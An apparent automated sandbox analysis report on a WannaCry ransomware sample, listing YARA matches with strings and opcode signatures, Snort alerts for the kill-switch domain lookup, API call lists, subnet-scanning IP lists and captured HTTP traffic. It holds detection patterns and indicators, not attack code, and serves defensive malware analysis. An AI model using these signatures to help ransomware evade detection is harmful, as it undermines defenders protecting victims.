4.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.2.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Click to see the 31 entries

Snort Signatures

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.6 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.68.8.8.855201532830018 07/20/22-06:05:54.649824
SID:	2830018
Source Port:	55201
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.6 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.68.8.8.858723532830018 07/20/22-06:05:57.606700
SID:	2830018
Source Port:	58723
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.6 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.68.8.8.859293532830018 07/20/22-06:05:55.753712
SID:	2830018
Source Port:	59293
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Binary string: d:\Projects\WinRAR\SFX\build\sfxrar32\Release\sfxrar.pdb source: mssecsvr.exe, 00000004.00000000.380052664.0000000000710000.00000002.00000001.01000000.00000004.sdmp, mssecsvr.exe, 00000006.00000000.387001435.0000000000710000.00000002.00000001.01000000.00000004.sdmp, mssecsvr.exe, 00000007.00000002.991211399.0000000000710000.00000002.00000001.01000000.00000004.sdmp, tasksche.exe, 00000008.00000000.390288419.000000000042A000.00000002.00000001.01000000.00000006.sdmp, tasksche.exe, 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmp, tasksche.exe, 00000008.00000003.392384569.0000000003E97000.00000004.00000800.00020000.00000000.sdmp, tasksche.exe, 00000008.00000003.393244935.000000000288D000.00000004.00000800.00020000.00000000.sdmp, dKkvbrzdUL.dll, mssecsvr.exe.2.dr, tasksche.exe.4.dr

Source: C:\Windows\tasksche.exe	Code function: 8_2_00409476 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		8_2_00409476
Source: C:\Windows\tasksche.exe	Code function: 8_2_0040DE5E SendDlgItemMessageW,DestroyIcon,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SHGetFileInfoW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		8_2_0040DE5E

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.6:55201 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.6:59293 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.6:58723 -> 8.8.8.8:53

Connects to many IPs within the same subnet mask (likely port scanning)

Source: global traffic	TCP traffic: Count: 190 IPs: 178.159.42.127,178.159.42.126,178.159.42.125,178.159.42.124,178.159.42.18,178.159.42.19,178.159.42.16,178.159.42.129,178.159.42.17,178.159.42.128,178.159.42.123,178.159.42.122,178.159.42.121,178.159.42.120,178.159.42.25,178.159.42.26,178.159.42.23,178.159.42.24,178.159.42.21,178.159.42.22,178.159.42.20,178.159.42.138,178.159.42.137,178.159.42.136,178.159.42.135,178.159.42.139,178.159.42.130,178.159.42.134,178.159.42.133,178.159.42.132,178.159.42.131,178.159.42.3,178.159.42.94,178.159.42.4,178.159.42.95,178.159.42.5,178.159.42.92,178.159.42.6,178.159.42.93,178.159.42.7,178.159.42.90,178.159.42.8,178.159.42.91,178.159.42.9,178.159.42.14,178.159.42.15,178.159.42.12,178.159.42.13,178.159.42.10,178.159.42.98,178.159.42.11,178.159.42.99,178.159.42.1,178.159.42.96,178.159.42.2,178.159.42.97,178.159.42.105,178.159.42.104,178.159.42.103,178.159.42.102,178.159.42.109,178.159.42.108,178.159.42.107,178.159.42.106,178.159.42.185,178.159.42.184,178.159.42.183,178.159.42.182,178.159.42.101,178.159.42.189,178.159.42.100,178.159.42.188,178.159.42.187,178.159.42.186,178.159.42.83,178.159.42.84,178.159.42.81,178.159.42.82,178.159.42.181,178.159.42.80,178.159.42.180,178.159.42.89,178.159.42.87,178.159.42.88,178.159.42.85,178.159.42.86,178.159.42.116,178.159.42.115,178.159.42.114,178.159.42.113,178.159.42.119,178.159.42.118,178.159.42.117,178.159.42.112,178.159.42.111,178.159.42.110,178.159.42.72,178.159.42.73,178.159.42.70,178.159.42.71,178.159.42.190,178.159.42.78,178.159.42.79,178.159.42.76,178.159.42.77,178.159.42.74,178.159.42.75,178.159.42.169,178.159.42.168,178.159.42.163,178.159.42.162,178.159.42.161,178.159.42.160,178.159.42.167,178.159.42.166,178.159.42.165,178.159.42.164,178.159.42.61,178.159.42.62,178.159.42.60,178.159.42.69,178.159.42.67,178.159.42.68,178.159.42.65,178.159.42.66,178.159.42.63,178.159.42.64,178.159.42.179,178.159.42.49,178.159.42.174,178.159.42.173,178.159.42.172,178.159.42.171,178.159.42.178,178.159.42.177,178.159.42.176,178.159.42.175,178.159.42.50,178.159.42.51,178.159.42.170,178.159.42.58,178.159.42.59,178.159.42.56,178.159.42.57,178.159.42.54,178.159.42.55,178.159.42.52,178.159.42.53,178.159.42.149,178.159.42.148,178.159.42.147,178.159.42.146,178.159.42.38,178.159.42.39,178.159.42.141,178.159.42.140,178.159.42.145,178.159.42.144,178.159.42.143,178.159.42.142,178.159.42.40,178.159.42.47,178.159.42.48,178.159.42.45,178.159.42.46,178.159.42.43,178.159.42.44,178.159.42.41,178.159.42.42,178.159.42.159,178.159.42.158,178.159.42.157,178.159.42.29,178.159.42.27,178.159.42.28,178.159.42.152,178.159.42.151,178.159.42.150,178.159.42.156,178.159.42.155,178.159.42.154,178.159.42.153,178.159.42.36,178.159.42.37,178.159.42.34,178.159.42.35,178.159.42.32,178.159.42.33,178.159.42.30,178.159.42.31
Source: global traffic	TCP traffic: Count: 199 IPs: 37.21.160.47,37.21.160.46,37.21.160.45,37.21.160.44,37.21.160.49,37.21.160.48,37.21.160.43,37.21.160.42,37.21.160.41,37.21.160.40,37.21.160.36,37.21.160.35,37.21.160.34,37.21.160.33,37.21.160.39,37.21.160.38,37.21.160.37,37.21.160.32,37.21.160.31,37.21.160.30,37.21.160.119,37.21.160.118,37.21.160.69,37.21.160.68,37.21.160.67,37.21.160.66,37.21.160.61,37.21.160.115,37.21.160.60,37.21.160.114,37.21.160.238,37.21.160.117,37.21.160.116,37.21.160.65,37.21.160.111,37.21.160.64,37.21.160.110,37.21.160.63,37.21.160.113,37.21.160.62,37.21.160.112,37.21.160.108,37.21.160.107,37.21.160.109,37.21.160.58,37.21.160.57,37.21.160.56,37.21.160.55,37.21.160.59,37.21.160.50,37.21.160.104,37.21.160.103,37.21.160.106,37.21.160.105,37.21.160.100,37.21.160.54,37.21.160.53,37.21.160.52,37.21.160.102,37.21.160.101,37.21.160.51,37.21.160.90,37.21.160.89,37.21.160.131,37.21.160.88,37.21.160.130,37.21.160.83,37.21.160.137,37.21.160.82,37.21.160.136,37.21.160.81,37.21.160.139,37.21.160.80,37.21.160.138,37.21.160.87,37.21.160.133,37.21.160.86,37.21.160.132,37.21.160.85,37.21.160.135,37.21.160.84,37.21.160.134,37.21.160.129,37.21.160.79,37.21.160.78,37.21.160.120,37.21.160.77,37.21.160.72,37.21.160.126,37.21.160.71,37.21.160.125,37.21.160.70,37.21.160.128,37.21.160.127,37.21.160.76,37.21.160.122,37.21.160.75,37.21.160.121,37.21.160.74,37.21.160.124,37.21.160.73,37.21.160.123,37.21.160.151,37.21.160.150,37.21.160.153,37.21.160.152,37.21.160.159,37.21.160.158,37.21.160.155,37.21.160.154,37.21.160.157,37.21.160.156,37.21.160.140,37.21.160.142,37.21.160.99,37.21.160.141,37.21.160.94,37.21.160.148,37.21.160.93,37.21.160.147,37.21.160.92,37.21.160.91,37.21.160.149,37.21.160.98,37.21.160.144,37.21.160.97,37.21.160.143,37.21.160.96,37.21.160.146,37.21.160.95,37.21.160.145,37.21.160.173,37.21.160.172,37.21.160.175,37.21.160.174,37.21.160.171,37.21.160.170,37.21.160.177,37.21.160.176,37.21.160.179,37.21.160.178,37.21.160.162,37.21.160.161,37.21.160.164,37.21.160.163,37.21.160.160,37.21.160.169,37.21.160.166,37.21.160.165,37.21.160.168,37.21.160.167,37.21.160.195,37.21.160.194,37.21.160.197,37.21.160.196,37.21.160.191,37.21.160.190,37.21.160.193,37.21.160.192,37.21.160.198,37.21.160.9,37.21.160.8,37.21.160.1,37.21.160.184,37.21.160.183,37.21.160.3,37.21.160.186,37.21.160.2,37.21.160.185,37.21.160.5,37.21.160.180,37.21.160.4,37.21.160.7,37.21.160.182,37.21.160.6,37.21.160.181,37.21.160.188,37.21.160.187,37.21.160.189,37.21.160.25,37.21.160.24,37.21.160.23,37.21.160.22,37.21.160.29,37.21.160.28,37.21.160.27,37.21.160.26,37.21.160.21,37.21.160.20,37.21.160.19,37.21.160.14,37.21.160.13,37.21.160.12,37.21.160.11,37.21.160.18,37.21.160.17,37.21.160.16,37.21.160.15,37.21.160.10

Source: Joe Sandbox View

JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad

Source: global traffic	HTTP traffic detected: GET /image/apps.10288.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.12bb65f7-1014-4469-bb2e-59f575e79b05?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.2052.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.a0c3decd-308f-4f06-bcfb-2aa4f3afe248?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.16574.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.6a6f592e-efa9-4bb0-b008-7c3422ab3313?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.15881.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.bcf361e4-21f7-429d-877a-6c55c1b655ff?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.18694.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.4e8e78d2-c2c2-4c02-8d8c-46ac3b2419e7?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.18858.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.1b03c26f-1753-4221-9ab1-4581f098723d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.20893.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.acc28f88-50de-4aaf-abfc-ad1da8b04cd0?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.39478.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.8ad1b690-ff36-44fa-8afc-0dc5bed1273c?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.40093.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.e6964d6a-18a4-4746-9238-9f0acc233a65?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.256.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.ca4cbefc-0ab0-4144-90c1-07f5250c8c21?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.49525.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.2f6b9bdf-a4fc-42d8-aea0-65c437755b78?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.58298.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.55988ee1-bd9b-4322-980a-a610abdc7713?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.616.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.d81cfd95-c9fd-48e0-8fc3-36ff7b9e590a?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.15982.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.7bbbe321-5273-45d0-814e-74f2065197d3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.64128.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.d58015ff-2fcf-4113-975b-e873039b6d86?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.13224.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.9547b9f0-b1dc-4352-9dc9-7ea6f4eef5c3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.10318.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8cf0ef1a-60ff-4508-85ab-fd3d7f02c6a3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.16957.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.aef04b90-a221-4ea5-a05d-0d51ac792471?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.18124.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.afc6c372-c7a8-4eda-94fb-541bbb081d14?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.19460.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.304469a1-c8b6-4cdc-aa11-eaa96e2fdfd6?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.23070.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8e7acf32-4622-490b-b63f-0ba9c0d9a24e?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.31225.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.3ffd9abd-094d-4594-b6c3-8e079298b84b?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.31660.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.9cf7ca2f-497e-4cb1-be08-431c9fcc4d54?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.32938.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.721cfb02-7935-45dc-9d66-2d6e6b2ff76c?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.41671.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.86b1d82d-8b47-4bda-99fc-8a1db0a7ac9d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.5075.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.f329a73d-1ae8-4445-aa4c-bf40f3c5d62d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.51843.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.c13e8407-eaf8-447a-a5d6-9abd8bc2c1f3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.54145.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.0df01b4e-7fca-47eb-b3d7-95ba7990754d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.54562.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.24af4abe-62f8-404b-b1a9-ee8fe4d32d94?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
